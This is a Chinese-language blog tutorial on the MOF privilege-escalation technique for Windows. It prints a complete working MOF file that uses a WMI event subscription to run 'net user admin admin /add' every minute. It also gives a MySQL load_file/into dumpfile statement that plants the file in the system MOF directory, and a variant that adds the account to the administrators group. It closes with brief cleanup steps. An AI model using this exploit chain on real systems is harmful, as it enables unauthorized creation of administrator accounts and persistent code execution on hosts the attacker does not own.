提权学习(四) MOF提权

作者:yzc    发布于:

mof 提权

0x01 原理

mof文件是 Windows 管理规范 存储库中的托管对象格式文件。Windows 管理规范缩写为:WMI

Windows 管理规范 提供了三种方式去编译 mof 文件

方法一:运行 Mofcomp.exe 文件,将要编译的 mof 文件作为命令行参数去执行

方法二:使用 IMofCompiler 接口和 $CompileFile 方法

方法三:将 mof 文件拖放到 %SystemRoot%\System32\Webm\MOF 文件夹下,即 C:/Windows/system32/webm/mof 目录 

Microsoft 建议到 WMI 存储库编译 mof 文件使用前两种方法,即执行 Mofcomp.exe 文件或者使用 IMofCompiler::CompileFile 方法。第三种方法仅为向后兼容性和早期的 WMI 提供,而且此功能可能不会提供在将来的版本中,所以 Microsoft 不建议使用。

mof 提权也恰恰是利用了这第三种方法。在 C:/windows/system32/webm/mof 目录下的 nullevt.mof 文件每分钟都会在一个特定的时间被调用执行一次,所以如果 nullevt.mof 文件被做了修改,在文件中直接写入了添加用户等命令,当 nullevt.mof 被调用执行时,用户就会自动被添加,以达到提权的效果。

0x02 具体流程

1.寻找可读写目录将我们自己生成的 mof 文件上传到寻找到的可读写目录中,生成的 mof 文件如下

1
#pragma namespace("\\\\.\\root\\subscription")  instance of __EventFilter as $EventFilter  {      EventNamespace = "Root\\Cimv2";      Name  = "filtP2";      Query = "Select * From __InstanceModificationEvent "              "Where TargetInstance Isa \"Win32_LocalTime\" "              "And TargetInstance.Second = 5";      QueryLanguage = "WQL";  };  instance of ActiveScriptEventConsumer as $Consumer  {      Name = "consPCSV2";      ScriptingEngine = "JScript";      ScriptText =      "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add\")";  };  instance of __FilterToConsumerBinding  {      Consumer   = $Consumer;      Filter = $EventFilter;  };

2.执行 loadfileinto dumpfile 把上传到可读写目录,我们已经事先编辑好的 mof 文件导出到 C:/windows/system32/webm/mof

select load_file('C:\\RECYCLER\\nullevt.mof') into dumpfile 'c:\\windows\\system32\\wbem\\mof\\nullevt.mof';

注意:在执行导出mof文件时,路径 要加双斜杠 \\

0x03 总结

1.导出的 nullevt.mof 会在每分钟的特定时间被调用(可以自己设置),我们上传的 nullevt.mof 文件代码中有这么一行,该代码的作用就是使该文件在每分钟的第 5 秒的时候被调用执行

“And TargetInstance.Second = 5”;

一旦该文件被调用执行,就会为系统再添加一个用户

当然用户名和密码都可以自定义,在 nulevt.mof 文件中可以修改用户名和密码的代码如下

“var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user admin admin /add\”)”;

我们发现其实在 nulevt.mof 文件中添加用户的语句还是普通的提权添加用户语句,只是把它放在了 nulevt.mof 文件中,当 nulevt.mof 文件 被执行时,添加用户的语句也会被执行。

这个文件被执行完之后只会成功添加一个普通的用户,如果还需要把该用户添加到 administrator 管理员组中的话,只需要把刚刚添加用户的命令修改成把用户添加到管理员组的命令即可,修改完之后再上传导出该文件到 C:/Windows/system32/webm/mof 目录,当该文件被再次执行过后,就会把普通用户添加到 administrator 组中了。

“var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe localgroup administrator admin /add\”)”;

0x04 解决方法

将 nullevt.mof 文件导出到 C:/Windows/system32/webm/mof 目录下以后,若是想让系统停止调用执行 nullevt.mof 文件的话,光删除它是不行的,需要如下步骤才可以彻底停止

  • 1 停止服务

    net stop winmgmt
    
  • 2 删除 C:\WINDOWS\system32\wbem\Repository\ 文件夹

  • 3 重新启动服务

    net start winmgmt
    

    C:/Windows/system32/webm/mof 文件夹下放的是 Windows 管理规范 的存储库,执行的 .mof 文件都会被加入到这个库中,然后一直会按照我们放入的 nullevt.mof 文件去执行,所以即使删掉了 C:/Windows/system32/webm/mof 目录下的 .mof 文件,系统照样会继续执行,只有停止服务后,把 WMI 的存储库删掉,再重启服务,系统就会重建一个默认的存储库,只有这样才能彻底解决掉这个问题(需要事先把 C:/Windows/system32/webm/mof 目录下的 .mof 文件删掉)

参考文章

MYSQL提权总结

MOF文件提权

format_list_numbered

(无)

  1. 1. mof 提权
    1. 1.1. 0x01 原理
    2. 1.2. 0x02 具体流程
    3. 1.3. 0x03 总结
    4. 1.4. 0x04 解决方法
vertical_align_top

Copyright © 2017 yzc's blog

Powered by Hexo & Theme - Vateral